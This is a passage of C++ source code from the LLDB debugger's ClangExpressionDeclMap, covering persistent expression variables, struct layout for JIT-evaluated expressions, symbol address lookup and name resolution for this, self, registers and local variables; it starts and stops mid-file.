void ClangExpressionDeclMap::InstallCodeGenerator(
clang::ASTConsumer *code_gen) {
assert(m_parser_vars);
m_parser_vars->m_code_gen = code_gen;
}
void ClangExpressionDeclMap::DidParse() {
Log *log(lldb_private::GetLogIfAllCategoriesSet(LIBLLDB_LOG_EXPRESSIONS));
if (log)
ClangASTMetrics::DumpCounters(log);
if (m_parser_vars.get()) {
for (size_t entity_index = 0, num_entities = m_found_entities.GetSize();
entity_index < num_entities; ++entity_index) {
ExpressionVariableSP var_sp(
m_found_entities.GetVariableAtIndex(entity_index));
if (var_sp)
llvm::cast<ClangExpressionVariable>(var_sp.get())
->DisableParserVars(GetParserID());
}
for (size_t pvar_index = 0,
num_pvars = m_parser_vars->m_persistent_vars->GetSize();
pvar_index < num_pvars; ++pvar_index) {
ExpressionVariableSP pvar_sp(
m_parser_vars->m_persistent_vars->GetVariableAtIndex(pvar_index));
if (ClangExpressionVariable *clang_var =
llvm::dyn_cast<ClangExpressionVariable>(pvar_sp.get()))
clang_var->DisableParserVars(GetParserID());
}
DisableParserVars();
}
}
// Interface for IRForTarget
ClangExpressionDeclMap::TargetInfo ClangExpressionDeclMap::GetTargetInfo() {
assert(m_parser_vars.get());
TargetInfo ret;
ExecutionContext &exe_ctx = m_parser_vars->m_exe_ctx;
Process *process = exe_ctx.GetProcessPtr();
if (process) {
ret.byte_order = process->GetByteOrder();
ret.address_byte_size = process->GetAddressByteSize();
} else {
Target *target = exe_ctx.GetTargetPtr();
if (target) {
ret.byte_order = target->GetArchitecture().GetByteOrder();
ret.address_byte_size = target->GetArchitecture().GetAddressByteSize();
}
}
return ret;
}
namespace {
/// This class walks an AST and ensures that all DeclContexts defined inside the
/// current source file are properly complete.
///
/// This is used to ensure that persistent types defined in the current source
/// file migrate completely to the persistent AST context before they are
/// reused. If that didn't happen, it would be impoossible to complete them
/// because their origin would be gone.
///
/// The stragtegy used by this class is to check the SourceLocation (to be
/// specific, the FileID) and see if it's the FileID for the current expression.
/// Alternate strategies could include checking whether an ExternalASTMerger,
/// set up to not have the current context as a source, can find an original for
/// the type.
class Completer : public clang::RecursiveASTVisitor<Completer> {
private:
clang::ASTImporter &m_exporter; /// Used to import Decl contents
clang::FileID m_file; /// The file that's going away
llvm::DenseSet<clang::Decl *> m_completed; /// Visited Decls, to avoid cycles
bool ImportAndCheckCompletable(clang::Decl *decl) {
(void)m_exporter.Import(decl);
if (m_completed.count(decl))
return false;
if (!llvm::isa<DeclContext>(decl))
return false;
const clang::SourceLocation loc = decl->getLocation();
if (!loc.isValid())
return false;
const clang::FileID file =
m_exporter.getFromContext().getSourceManager().getFileID(loc);
if (file != m_file)
return false;
// We are assuming the Decl was parsed in this very expression, so it
// should not have external storage.
lldbassert(!llvm::cast<DeclContext>(decl)->hasExternalLexicalStorage());
return true;
}
void Complete(clang::Decl *decl) {
m_completed.insert(decl);
auto *decl_context = llvm::cast<DeclContext>(decl);
(void)m_exporter.Import(decl);
m_exporter.CompleteDecl(decl);
for (Decl *child : decl_context->decls())
if (ImportAndCheckCompletable(child))
Complete(child);
}
void MaybeComplete(clang::Decl *decl) {
if (ImportAndCheckCompletable(decl))
Complete(decl);
}
public:
Completer(clang::ASTImporter &exporter, clang::FileID file)
: m_exporter(exporter), m_file(file) {}
// Implements the RecursiveASTVisitor's core API. It is called on each Decl
// that the RecursiveASTVisitor encounters, and returns true if the traversal
// should continue.
bool VisitDecl(clang::Decl *decl) {
MaybeComplete(decl);
return true;
}
};
}
static void CompleteAllDeclContexts(clang::ASTImporter &exporter,
clang::FileID file,
clang::QualType root) {
clang::QualType canonical_type = root.getCanonicalType();
if (clang::TagDecl *tag_decl = canonical_type->getAsTagDecl()) {
Completer(exporter, file).TraverseDecl(tag_decl);
} else if (auto interface_type = llvm::dyn_cast<ObjCInterfaceType>(
canonical_type.getTypePtr())) {
Completer(exporter, file).TraverseDecl(interface_type->getDecl());
} else {
Completer(exporter, file).TraverseType(canonical_type);
}
}
static clang::QualType ExportAllDeclaredTypes(
clang::ExternalASTMerger &merger,
clang::ASTContext &source, clang::FileManager &source_file_manager,
const clang::ExternalASTMerger::OriginMap &source_origin_map,
clang::FileID file, clang::QualType root) {
clang::ExternalASTMerger::ImporterSource importer_source =
{ source, source_file_manager, source_origin_map };
merger.AddSources(importer_source);
clang::ASTImporter &exporter = merger.ImporterForOrigin(source);
CompleteAllDeclContexts(exporter, file, root);
clang::QualType ret = exporter.Import(root);
merger.RemoveSources(importer_source);
return ret;
}
TypeFromUser ClangExpressionDeclMap::DeportType(ClangASTContext &target,
ClangASTContext &source,
TypeFromParser parser_type) {
assert (&target == m_target->GetScratchClangASTContext());
assert ((TypeSystem*)&source == parser_type.GetTypeSystem());
assert (source.getASTContext() == m_ast_context);
if (m_ast_importer_sp) {
return TypeFromUser(m_ast_importer_sp->DeportType(
target.getASTContext(), source.getASTContext(),
parser_type.GetOpaqueQualType()),
&target);
} else if (m_merger_up) {
clang::FileID source_file =
source.getASTContext()->getSourceManager().getFileID(
source.getASTContext()->getTranslationUnitDecl()->getLocation());
auto scratch_ast_context = static_cast<ClangASTContextForExpressions*>(
m_target->GetScratchClangASTContext());
clang::QualType exported_type = ExportAllDeclaredTypes(
scratch_ast_context->GetMergerUnchecked(),
*source.getASTContext(), *source.getFileManager(),
m_merger_up->GetOrigins(),
source_file,
clang::QualType::getFromOpaquePtr(parser_type.GetOpaqueQualType()));
return TypeFromUser(exported_type.getAsOpaquePtr(), &target);
} else {
lldbassert(0 && "No mechanism for deporting a type!");
return TypeFromUser();
}
}
bool ClangExpressionDeclMap::AddPersistentVariable(const NamedDecl *decl,
const ConstString &name,
TypeFromParser parser_type,
bool is_result,
bool is_lvalue) {
assert(m_parser_vars.get());
ClangASTContext *ast =
llvm::dyn_cast_or_null<ClangASTContext>(parser_type.GetTypeSystem());
if (ast == nullptr)
return false;
if (m_parser_vars->m_materializer && is_result) {
Status err;
ExecutionContext &exe_ctx = m_parser_vars->m_exe_ctx;
Target *target = exe_ctx.GetTargetPtr();
if (target == nullptr)
return false;
TypeFromUser user_type =
DeportType(*target->GetScratchClangASTContext(), *ast, parser_type);
uint32_t offset = m_parser_vars->m_materializer->AddResultVariable(
user_type, is_lvalue, m_keep_result_in_memory, m_result_delegate, err);
ClangExpressionVariable *var = new ClangExpressionVariable(
exe_ctx.GetBestExecutionContextScope(), name, user_type,
m_parser_vars->m_target_info.byte_order,
m_parser_vars->m_target_info.address_byte_size);
m_found_entities.AddNewlyConstructedVariable(var);
var->EnableParserVars(GetParserID());
ClangExpressionVariable::ParserVars *parser_vars =
var->GetParserVars(GetParserID());
parser_vars->m_named_decl = decl;
parser_vars->m_parser_type = parser_type;
var->EnableJITVars(GetParserID());
ClangExpressionVariable::JITVars *jit_vars = var->GetJITVars(GetParserID());
jit_vars->m_offset = offset;
return true;
}
Log *log(lldb_private::GetLogIfAllCategoriesSet(LIBLLDB_LOG_EXPRESSIONS));
ExecutionContext &exe_ctx = m_parser_vars->m_exe_ctx;
Target *target = exe_ctx.GetTargetPtr();
if (target == NULL)
return false;
ClangASTContext *context(target->GetScratchClangASTContext());
TypeFromUser user_type = DeportType(*context, *ast, parser_type);
if (!user_type.GetOpaqueQualType()) {
if (log)
log->Printf("Persistent variable's type wasn't copied successfully");
return false;
}
if (!m_parser_vars->m_target_info.IsValid())
return false;
ClangExpressionVariable *var = llvm::cast<ClangExpressionVariable>(
m_parser_vars->m_persistent_vars
->CreatePersistentVariable(
exe_ctx.GetBestExecutionContextScope(), name, user_type,
m_parser_vars->m_target_info.byte_order,
m_parser_vars->m_target_info.address_byte_size)
.get());
if (!var)
return false;
var->m_frozen_sp->SetHasCompleteType();
if (is_result)
var->m_flags |= ClangExpressionVariable::EVNeedsFreezeDry;
else
var->m_flags |=
ClangExpressionVariable::EVKeepInTarget; // explicitly-declared
// persistent variables should
// persist
if (is_lvalue) {
var->m_flags |= ClangExpressionVariable::EVIsProgramReference;
} else {
var->m_flags |= ClangExpressionVariable::EVIsLLDBAllocated;
var->m_flags |= ClangExpressionVariable::EVNeedsAllocation;
}
if (m_keep_result_in_memory) {
var->m_flags |= ClangExpressionVariable::EVKeepInTarget;
}
if (log)
log->Printf("Created persistent variable with flags 0x%hx", var->m_flags);
var->EnableParserVars(GetParserID());
ClangExpressionVariable::ParserVars *parser_vars =
var->GetParserVars(GetParserID());
parser_vars->m_named_decl = decl;
parser_vars->m_parser_type = parser_type;
return true;
}
bool ClangExpressionDeclMap::AddValueToStruct(const NamedDecl *decl,
const ConstString &name,
llvm::Value *value, size_t size,
lldb::offset_t alignment) {
assert(m_struct_vars.get());
assert(m_parser_vars.get());
bool is_persistent_variable = false;
Log *log(lldb_private::GetLogIfAllCategoriesSet(LIBLLDB_LOG_EXPRESSIONS));
m_struct_vars->m_struct_laid_out = false;
if (ClangExpressionVariable::FindVariableInList(m_struct_members, decl,
GetParserID()))
return true;
ClangExpressionVariable *var(ClangExpressionVariable::FindVariableInList(
m_found_entities, decl, GetParserID()));
if (!var) {
var = ClangExpressionVariable::FindVariableInList(
*m_parser_vars->m_persistent_vars, decl, GetParserID());
is_persistent_variable = true;
}
if (!var)
return false;
if (log)
log->Printf("Adding value for (NamedDecl*)%p [%s - %s] to the structure",
static_cast<const void *>(decl), name.GetCString(),
var->GetName().GetCString());
// We know entity->m_parser_vars is valid because we used a parser variable
// to find it
ClangExpressionVariable::ParserVars *parser_vars =
llvm::cast<ClangExpressionVariable>(var)->GetParserVars(GetParserID());
parser_vars->m_llvm_value = value;
if (ClangExpressionVariable::JITVars *jit_vars =
llvm::cast<ClangExpressionVariable>(var)->GetJITVars(GetParserID())) {
// We already laid this out; do not touch
if (log)
log->Printf("Already placed at 0x%llx",
(unsigned long long)jit_vars->m_offset);
}
llvm::cast<ClangExpressionVariable>(var)->EnableJITVars(GetParserID());
ClangExpressionVariable::JITVars *jit_vars =
llvm::cast<ClangExpressionVariable>(var)->GetJITVars(GetParserID());
jit_vars->m_alignment = alignment;
jit_vars->m_size = size;
m_struct_members.AddVariable(var->shared_from_this());
if (m_parser_vars->m_materializer) {
uint32_t offset = 0;
Status err;
if (is_persistent_variable) {
ExpressionVariableSP var_sp(var->shared_from_this());
offset = m_parser_vars->m_materializer->AddPersistentVariable(
var_sp, nullptr, err);
} else {
if (const lldb_private::Symbol *sym = parser_vars->m_lldb_sym)
offset = m_parser_vars->m_materializer->AddSymbol(*sym, err);
else if (const RegisterInfo *reg_info = var->GetRegisterInfo())
offset = m_parser_vars->m_materializer->AddRegister(*reg_info, err);
else if (parser_vars->m_lldb_var)
offset = m_parser_vars->m_materializer->AddVariable(
parser_vars->m_lldb_var, err);
}
if (!err.Success())
return false;
if (log)
log->Printf("Placed at 0x%llx", (unsigned long long)offset);
jit_vars->m_offset =
offset; // TODO DoStructLayout() should not change this.
}
return true;
}
bool ClangExpressionDeclMap::DoStructLayout() {
assert(m_struct_vars.get());
if (m_struct_vars->m_struct_laid_out)
return true;
if (!m_parser_vars->m_materializer)
return false;
m_struct_vars->m_struct_alignment =
m_parser_vars->m_materializer->GetStructAlignment();
m_struct_vars->m_struct_size =
m_parser_vars->m_materializer->GetStructByteSize();
m_struct_vars->m_struct_laid_out = true;
return true;
}
bool ClangExpressionDeclMap::GetStructInfo(uint32_t &num_elements, size_t &size,
lldb::offset_t &alignment) {
assert(m_struct_vars.get());
if (!m_struct_vars->m_struct_laid_out)
return false;
num_elements = m_struct_members.GetSize();
size = m_struct_vars->m_struct_size;
alignment = m_struct_vars->m_struct_alignment;
return true;
}
bool ClangExpressionDeclMap::GetStructElement(const NamedDecl *&decl,
llvm::Value *&value,
lldb::offset_t &offset,
ConstString &name,
uint32_t index) {
assert(m_struct_vars.get());
if (!m_struct_vars->m_struct_laid_out)
return false;
if (index >= m_struct_members.GetSize())
return false;
ExpressionVariableSP member_sp(m_struct_members.GetVariableAtIndex(index));
if (!member_sp)
return false;
ClangExpressionVariable::ParserVars *parser_vars =
llvm::cast<ClangExpressionVariable>(member_sp.get())
->GetParserVars(GetParserID());
ClangExpressionVariable::JITVars *jit_vars =
llvm::cast<ClangExpressionVariable>(member_sp.get())
->GetJITVars(GetParserID());
if (!parser_vars || !jit_vars || !member_sp->GetValueObject())
return false;
decl = parser_vars->m_named_decl;
value = parser_vars->m_llvm_value;
offset = jit_vars->m_offset;
name = member_sp->GetName();
return true;
}
bool ClangExpressionDeclMap::GetFunctionInfo(const NamedDecl *decl,
uint64_t &ptr) {
ClangExpressionVariable *entity(ClangExpressionVariable::FindVariableInList(
m_found_entities, decl, GetParserID()));
if (!entity)
return false;
// We know m_parser_vars is valid since we searched for the variable by its
// NamedDecl
ClangExpressionVariable::ParserVars *parser_vars =
entity->GetParserVars(GetParserID());
ptr = parser_vars->m_lldb_value.GetScalar().ULongLong();
return true;
}
addr_t ClangExpressionDeclMap::GetSymbolAddress(Target &target,
Process *process,
const ConstString &name,
lldb::SymbolType symbol_type,
lldb_private::Module *module) {
SymbolContextList sc_list;
if (module)
module->FindSymbolsWithNameAndType(name, symbol_type, sc_list);
else
target.GetImages().FindSymbolsWithNameAndType(name, symbol_type, sc_list);
const uint32_t num_matches = sc_list.GetSize();
addr_t symbol_load_addr = LLDB_INVALID_ADDRESS;
for (uint32_t i = 0;
i < num_matches &&
(symbol_load_addr == 0 || symbol_load_addr == LLDB_INVALID_ADDRESS);
i++) {
SymbolContext sym_ctx;
sc_list.GetContextAtIndex(i, sym_ctx);
const Address sym_address = sym_ctx.symbol->GetAddress();
if (!sym_address.IsValid())
continue;
switch (sym_ctx.symbol->GetType()) {
case eSymbolTypeCode:
case eSymbolTypeTrampoline:
symbol_load_addr = sym_address.GetCallableLoadAddress(&target);
break;
case eSymbolTypeResolver:
symbol_load_addr = sym_address.GetCallableLoadAddress(&target, true);
break;
case eSymbolTypeReExported: {
ConstString reexport_name = sym_ctx.symbol->GetReExportedSymbolName();
if (reexport_name) {
ModuleSP reexport_module_sp;
ModuleSpec reexport_module_spec;
reexport_module_spec.GetPlatformFileSpec() =
sym_ctx.symbol->GetReExportedSymbolSharedLibrary();
if (reexport_module_spec.GetPlatformFileSpec()) {
reexport_module_sp =
target.GetImages().FindFirstModule(reexport_module_spec);
if (!reexport_module_sp) {
reexport_module_spec.GetPlatformFileSpec().GetDirectory().Clear();
reexport_module_sp =
target.GetImages().FindFirstModule(reexport_module_spec);
}
}
symbol_load_addr = GetSymbolAddress(
target, process, sym_ctx.symbol->GetReExportedSymbolName(),
symbol_type, reexport_module_sp.get());
}
} break;
case eSymbolTypeData:
case eSymbolTypeRuntime:
case eSymbolTypeVariable:
case eSymbolTypeLocal:
case eSymbolTypeParam:
case eSymbolTypeInvalid:
case eSymbolTypeAbsolute:
case eSymbolTypeException:
case eSymbolTypeSourceFile:
case eSymbolTypeHeaderFile:
case eSymbolTypeObjectFile:
case eSymbolTypeCommonBlock:
case eSymbolTypeBlock:
case eSymbolTypeVariableType:
case eSymbolTypeLineEntry:
case eSymbolTypeLineHeader:
case eSymbolTypeScopeBegin:
case eSymbolTypeScopeEnd:
case eSymbolTypeAdditional:
case eSymbolTypeCompiler:
case eSymbolTypeInstrumentation:
case eSymbolTypeUndefined:
case eSymbolTypeObjCClass:
case eSymbolTypeObjCMetaClass:
case eSymbolTypeObjCIVar:
symbol_load_addr = sym_address.GetLoadAddress(&target);
break;
}
}
if (symbol_load_addr == LLDB_INVALID_ADDRESS && process) {
ObjCLanguageRuntime *runtime = process->GetObjCLanguageRuntime();
if (runtime) {
symbol_load_addr = runtime->LookupRuntimeSymbol(name);
}
}
return symbol_load_addr;
}
addr_t ClangExpressionDeclMap::GetSymbolAddress(const ConstString &name,
lldb::SymbolType symbol_type) {
assert(m_parser_vars.get());
if (!m_parser_vars->m_exe_ctx.GetTargetPtr())
return false;
return GetSymbolAddress(m_parser_vars->m_exe_ctx.GetTargetRef(),
m_parser_vars->m_exe_ctx.GetProcessPtr(), name,
symbol_type);
}
lldb::VariableSP ClangExpressionDeclMap::FindGlobalVariable(
Target &target, ModuleSP &module, const ConstString &name,
CompilerDeclContext *namespace_decl, TypeFromUser *type) {
VariableList vars;
if (module && namespace_decl)
module->FindGlobalVariables(name, namespace_decl, -1, vars);
else
target.GetImages().FindGlobalVariables(name, -1, vars);
if (vars.GetSize()) {
if (type) {
for (size_t i = 0; i < vars.GetSize(); ++i) {
VariableSP var_sp = vars.GetVariableAtIndex(i);
if (ClangASTContext::AreTypesSame(
*type, var_sp->GetType()->GetFullCompilerType()))
return var_sp;
}
} else {
return vars.GetVariableAtIndex(0);
}
}
return VariableSP();
}
ClangASTContext *ClangExpressionDeclMap::GetClangASTContext() {
StackFrame *frame = m_parser_vars->m_exe_ctx.GetFramePtr();
if (frame == nullptr)
return nullptr;
SymbolContext sym_ctx = frame->GetSymbolContext(lldb::eSymbolContextFunction |
lldb::eSymbolContextBlock);
if (sym_ctx.block == nullptr)
return nullptr;
CompilerDeclContext frame_decl_context = sym_ctx.block->GetDeclContext();
if (!frame_decl_context)
return nullptr;
return llvm::dyn_cast_or_null<ClangASTContext>(
frame_decl_context.GetTypeSystem());
}
// Interface for ClangASTSource
void ClangExpressionDeclMap::FindExternalVisibleDecls(
NameSearchContext &context) {
assert(m_ast_context);
ClangASTMetrics::RegisterVisibleQuery();
const ConstString name(context.m_decl_name.getAsString().c_str());
Log *log(lldb_private::GetLogIfAllCategoriesSet(LIBLLDB_LOG_EXPRESSIONS));
if (GetImportInProgress()) {
if (log && log->GetVerbose())
log->Printf("Ignoring a query during an import");
return;
}
static unsigned int invocation_id = 0;
unsigned int current_id = invocation_id++;
if (log) {
if (!context.m_decl_context)
log->Printf("ClangExpressionDeclMap::FindExternalVisibleDecls[%u] for "
"'%s' in a NULL DeclContext",
current_id, name.GetCString());
else if (const NamedDecl *context_named_decl =
dyn_cast<NamedDecl>(context.m_decl_context))
log->Printf("ClangExpressionDeclMap::FindExternalVisibleDecls[%u] for "
"'%s' in '%s'",
current_id, name.GetCString(),
context_named_decl->getNameAsString().c_str());
else
log->Printf("ClangExpressionDeclMap::FindExternalVisibleDecls[%u] for "
"'%s' in a '%s'",
current_id, name.GetCString(),
context.m_decl_context->getDeclKindName());
}
if (const NamespaceDecl *namespace_context =
dyn_cast<NamespaceDecl>(context.m_decl_context)) {
if (namespace_context->getName().str() ==
std::string(g_lldb_local_vars_namespace_cstr)) {
CompilerDeclContext compiler_decl_ctx(
GetClangASTContext(), const_cast<void *>(static_cast<const void *>(
context.m_decl_context)));
FindExternalVisibleDecls(context, lldb::ModuleSP(), compiler_decl_ctx,
current_id);
return;
}
ClangASTImporter::NamespaceMapSP namespace_map =
m_ast_importer_sp
? m_ast_importer_sp->GetNamespaceMap(namespace_context)
: ClangASTImporter::NamespaceMapSP();
if (!namespace_map)
return;
if (log && log->GetVerbose())
log->Printf(" CEDM::FEVD[%u] Inspecting (NamespaceMap*)%p (%d entries)",
current_id, static_cast<void *>(namespace_map.get()),
(int)namespace_map->size());
for (ClangASTImporter::NamespaceMap::iterator i = namespace_map->begin(),
e = namespace_map->end();
i != e; ++i) {
if (log)
log->Printf(" CEDM::FEVD[%u] Searching namespace %s in module %s",
current_id, i->second.GetName().AsCString(),
i->first->GetFileSpec().GetFilename().GetCString());
FindExternalVisibleDecls(context, i->first, i->second, current_id);
}
} else if (isa<TranslationUnitDecl>(context.m_decl_context)) {
CompilerDeclContext namespace_decl;
if (log)
log->Printf(" CEDM::FEVD[%u] Searching the root namespace", current_id);
FindExternalVisibleDecls(context, lldb::ModuleSP(), namespace_decl,
current_id);
}
ClangASTSource::FindExternalVisibleDecls(context);
}
void ClangExpressionDeclMap::FindExternalVisibleDecls(
NameSearchContext &context, lldb::ModuleSP module_sp,
CompilerDeclContext &namespace_decl, unsigned int current_id) {
assert(m_ast_context);
std::function<void(clang::FunctionDecl *)> MaybeRegisterFunctionBody =
[this](clang::FunctionDecl *copied_function_decl) {
if (copied_function_decl->getBody() && m_parser_vars->m_code_gen) {
DeclGroupRef decl_group_ref(copied_function_decl);
m_parser_vars->m_code_gen->HandleTopLevelDecl(decl_group_ref);
}
};
Log *log(lldb_private::GetLogIfAllCategoriesSet(LIBLLDB_LOG_EXPRESSIONS));
SymbolContextList sc_list;
const ConstString name(context.m_decl_name.getAsString().c_str());
if (IgnoreName(name, false))
return;
// Only look for functions by name out in our symbols if the function doesn't
// start with our phony prefix of '$'
Target *target = m_parser_vars->m_exe_ctx.GetTargetPtr();
StackFrame *frame = m_parser_vars->m_exe_ctx.GetFramePtr();
SymbolContext sym_ctx;
if (frame != nullptr)
sym_ctx = frame->GetSymbolContext(lldb::eSymbolContextFunction |
lldb::eSymbolContextBlock);
// Try the persistent decls, which take precedence over all else.
if (!namespace_decl) {
do {
if (!target)
break;
ClangASTContext *scratch_clang_ast_context =
target->GetScratchClangASTContext();
if (!scratch_clang_ast_context)
break;
ASTContext *scratch_ast_context =
scratch_clang_ast_context->getASTContext();
if (!scratch_ast_context)
break;
NamedDecl *persistent_decl =
m_parser_vars->m_persistent_vars->GetPersistentDecl(name);
if (!persistent_decl)
break;
Decl *parser_persistent_decl = CopyDecl(persistent_decl);
if (!parser_persistent_decl)
break;
NamedDecl *parser_named_decl =
dyn_cast<NamedDecl>(parser_persistent_decl);
if (!parser_named_decl)
break;
if (clang::FunctionDecl *parser_function_decl =
llvm::dyn_cast<clang::FunctionDecl>(parser_named_decl)) {
MaybeRegisterFunctionBody(parser_function_decl);
}
if (log)
log->Printf(" CEDM::FEVD[%u] Found persistent decl %s", current_id,
name.GetCString());
context.AddNamedDecl(parser_named_decl);
} while (0);
}
if (name.GetCString()[0] == '$' && !namespace_decl) {
static ConstString g_lldb_class_name("$__lldb_class");
if (name == g_lldb_class_name) {
// Clang is looking for the type of "this"
if (frame == NULL)
return;
// Find the block that defines the function represented by "sym_ctx"
Block *function_block = sym_ctx.GetFunctionBlock();
if (!function_block)
return;
CompilerDeclContext function_decl_ctx = function_block->GetDeclContext();
if (!function_decl_ctx)
return;
clang::CXXMethodDecl *method_decl =
ClangASTContext::DeclContextGetAsCXXMethodDecl(function_decl_ctx);
if (method_decl) {
clang::CXXRecordDecl *class_decl = method_decl->getParent();
QualType class_qual_type(class_decl->getTypeForDecl(), 0);
TypeFromUser class_user_type(
class_qual_type.getAsOpaquePtr(),
ClangASTContext::GetASTContext(&class_decl->getASTContext()));
if (log) {
ASTDumper ast_dumper(class_qual_type);
log->Printf(" CEDM::FEVD[%u] Adding type for $__lldb_class: %s",
current_id, ast_dumper.GetCString());
}
AddThisType(context, class_user_type, current_id);
if (method_decl->isInstance()) {
// self is a pointer to the object
QualType class_pointer_type =
method_decl->getASTContext().getPointerType(class_qual_type);
TypeFromUser self_user_type(
class_pointer_type.getAsOpaquePtr(),
ClangASTContext::GetASTContext(&method_decl->getASTContext()));
m_struct_vars->m_object_pointer_type = self_user_type;
}
} else {
// This branch will get hit if we are executing code in the context of
// a function that claims to have an object pointer (through
// DW_AT_object_pointer?) but is not formally a method of the class.
// In that case, just look up the "this" variable in the current scope
// and use its type.
// FIXME: This code is formally correct, but clang doesn't currently
// emit DW_AT_object_pointer
// for C++ so it hasn't actually been tested.
VariableList *vars = frame->GetVariableList(false);
lldb::VariableSP this_var = vars->FindVariable(ConstString("this"));
if (this_var && this_var->IsInScope(frame) &&
this_var->LocationIsValidForFrame(frame)) {
Type *this_type = this_var->GetType();
if (!this_type)
return;
TypeFromUser pointee_type =
this_type->GetForwardCompilerType().GetPointeeType();
if (pointee_type.IsValid()) {
if (log) {
ASTDumper ast_dumper(pointee_type);
log->Printf(" FEVD[%u] Adding type for $__lldb_class: %s",
current_id, ast_dumper.GetCString());
}
AddThisType(context, pointee_type, current_id);
TypeFromUser this_user_type(this_type->GetFullCompilerType());
m_struct_vars->m_object_pointer_type = this_user_type;
return;
}
}
}
return;
}
static ConstString g_lldb_objc_class_name("$__lldb_objc_class");
if (name == g_lldb_objc_class_name) {
// Clang is looking for the type of "*self"
if (!frame)
return;
SymbolContext sym_ctx = frame->GetSymbolContext(
lldb::eSymbolContextFunction | lldb::eSymbolContextBlock);
// Find the block that defines the function represented by "sym_ctx"
Block *function_block = sym_ctx.GetFunctionBlock();
if (!function_block)
return;
CompilerDeclContext function_decl_ctx = function_block->GetDeclContext();
if (!function_decl_ctx)
return;
clang::ObjCMethodDecl *method_decl =
ClangASTContext::DeclContextGetAsObjCMethodDecl(function_decl_ctx);
if (method_decl) {
ObjCInterfaceDecl *self_interface = method_decl->getClassInterface();
if (!self_interface)
return;
const clang::Type *interface_type = self_interface->getTypeForDecl();
if (!interface_type)
return; // This is unlikely, but we have seen crashes where this
// occurred
TypeFromUser class_user_type(
QualType(interface_type, 0).getAsOpaquePtr(),
ClangASTContext::GetASTContext(&method_decl->getASTContext()));
if (log) {
ASTDumper ast_dumper(interface_type);
log->Printf(" FEVD[%u] Adding type for $__lldb_objc_class: %s",
current_id, ast_dumper.GetCString());
}
AddOneType(context, class_user_type, current_id);
if (method_decl->isInstanceMethod()) {
// self is a pointer to the object
QualType class_pointer_type =
method_decl->getASTContext().getObjCObjectPointerType(
QualType(interface_type, 0));
TypeFromUser self_user_type(
class_pointer_type.getAsOpaquePtr(),
ClangASTContext::GetASTContext(&method_decl->getASTContext()));
m_struct_vars->m_object_pointer_type = self_user_type;
} else {
// self is a Class pointer
QualType class_type = method_decl->getASTContext().getObjCClassType();
TypeFromUser self_user_type(
class_type.getAsOpaquePtr(),
ClangASTContext::GetASTContext(&method_decl->getASTContext()));
m_struct_vars->m_object_pointer_type = self_user_type;
}
return;
} else {
// This branch will get hit if we are executing code in the context of
// a function that claims to have an object pointer (through
// DW_AT_object_pointer?) but is not formally a method of the class.
// In that case, just look up the "self" variable in the current scope
// and use its type.
VariableList *vars = frame->GetVariableList(false);
lldb::VariableSP self_var = vars->FindVariable(ConstString("self"));
if (self_var && self_var->IsInScope(frame) &&
self_var->LocationIsValidForFrame(frame)) {
Type *self_type = self_var->GetType();
if (!self_type)
return;
CompilerType self_clang_type = self_type->GetFullCompilerType();
if (ClangASTContext::IsObjCClassType(self_clang_type)) {
return;
} else if (ClangASTContext::IsObjCObjectPointerType(
self_clang_type)) {
self_clang_type = self_clang_type.GetPointeeType();
if (!self_clang_type)
return;
if (log) {
ASTDumper ast_dumper(self_type->GetFullCompilerType());
log->Printf(" FEVD[%u] Adding type for $__lldb_objc_class: %s",
current_id, ast_dumper.GetCString());
}
TypeFromUser class_user_type(self_clang_type);
AddOneType(context, class_user_type, current_id);
TypeFromUser self_user_type(self_type->GetFullCompilerType());
m_struct_vars->m_object_pointer_type = self_user_type;
return;
}
}
}
return;
}
if (name == ConstString(g_lldb_local_vars_namespace_cstr)) {
CompilerDeclContext frame_decl_context =
sym_ctx.block != nullptr ? sym_ctx.block->GetDeclContext()
: CompilerDeclContext();
if (frame_decl_context) {
ClangASTContext *ast = llvm::dyn_cast_or_null<ClangASTContext>(
frame_decl_context.GetTypeSystem());
if (ast) {
clang::NamespaceDecl *namespace_decl =
ClangASTContext::GetUniqueNamespaceDeclaration(
m_ast_context, name.GetCString(), nullptr);
if (namespace_decl) {
context.AddNamedDecl(namespace_decl);
clang::DeclContext *clang_decl_ctx =
clang::Decl::castToDeclContext(namespace_decl);
clang_decl_ctx->setHasExternalVisibleStorage(true);
context.m_found.local_vars_nsp = true;
}
}
}
return;
}
// any other $__lldb names should be weeded out now
if (name.GetStringRef().startswith("$__lldb"))
return;
ExpressionVariableSP pvar_sp(
m_parser_vars->m_persistent_vars->GetVariable(name));
if (pvar_sp) {
AddOneVariable(context, pvar_sp, current_id);
return;
}
const char *reg_name(&name.GetCString()[1]);
if (m_parser_vars->m_exe_ctx.GetRegisterContext()) {
const RegisterInfo *reg_info(
m_parser_vars->m_exe_ctx.GetRegisterContext()->GetRegisterInfoByName(
reg_name));
if (reg_info) {
if (log)
log->Printf(" CEDM::FEVD[%u] Found register %s", current_id,
reg_info->name);
AddOneRegister(context, reg_info, current_id);
}
}
} else {
ValueObjectSP valobj;
VariableSP var;
bool local_var_lookup =
!namespace_decl || (namespace_decl.GetName() ==
ConstString(g_lldb_local_vars_namespace_cstr));
if (frame && local_var_lookup) {
CompilerDeclContext compiler_decl_context =
sym_ctx.block != nullptr ? sym_ctx.block->GetDeclContext()
: CompilerDeclContext();
if (compiler_decl_context) {
// Make sure that the variables are parsed so that we have the
// declarations.
VariableListSP vars = frame->GetInScopeVariableList(true);
for (size_t i = 0; i < vars->GetSize(); i++)
vars->GetVariableAtIndex(i)->GetDecl();
// Search for declarations matching the name. Do not include imported
// decls in the search if we are looking for decls in the artificial
// namespace $__lldb_local_vars.
std::vector<CompilerDecl> found_decls =
compiler_decl_context.FindDeclByName(name,
namespace_decl.IsValid());
bool variable_found = false;
for (CompilerDecl decl : found_decls) {
for (size_t vi = 0, ve = vars->GetSize(); vi != ve; ++vi) {
VariableSP candidate_var = vars->GetVariableAtIndex(vi);
if (candidate_var->GetDecl() == decl) {
var = candidate_var;
break;
}
}
if (var && !variable_found) {
variable_found = true;
valobj = ValueObjectVariable::Create(frame, var);
AddOneVariable(context, var, valobj, current_id);
context.m_found.variable = true;
}
}
if (variable_found)
return;
}
}
if (target) {
var = FindGlobalVariable(*target, module_sp, name, &namespace_decl, NULL);
if (var) {
valobj = ValueObjectVariable::Create(target, var);
AddOneVariable(context, var, valobj, current_id);
context.m_found.variable = true;
return;
}
}
std::vector<clang::NamedDecl *> decls_from_modules;
if (target) {
if (ClangModulesDeclVendor *decl_vendor =
target->GetClangModulesDeclVendor()) {
decl_vendor->FindDecls(name, false, UINT32_MAX, decls_from_modules);
}
}
const bool include_inlines = false;
const bool append = false;
if (namespace_decl && module_sp) {
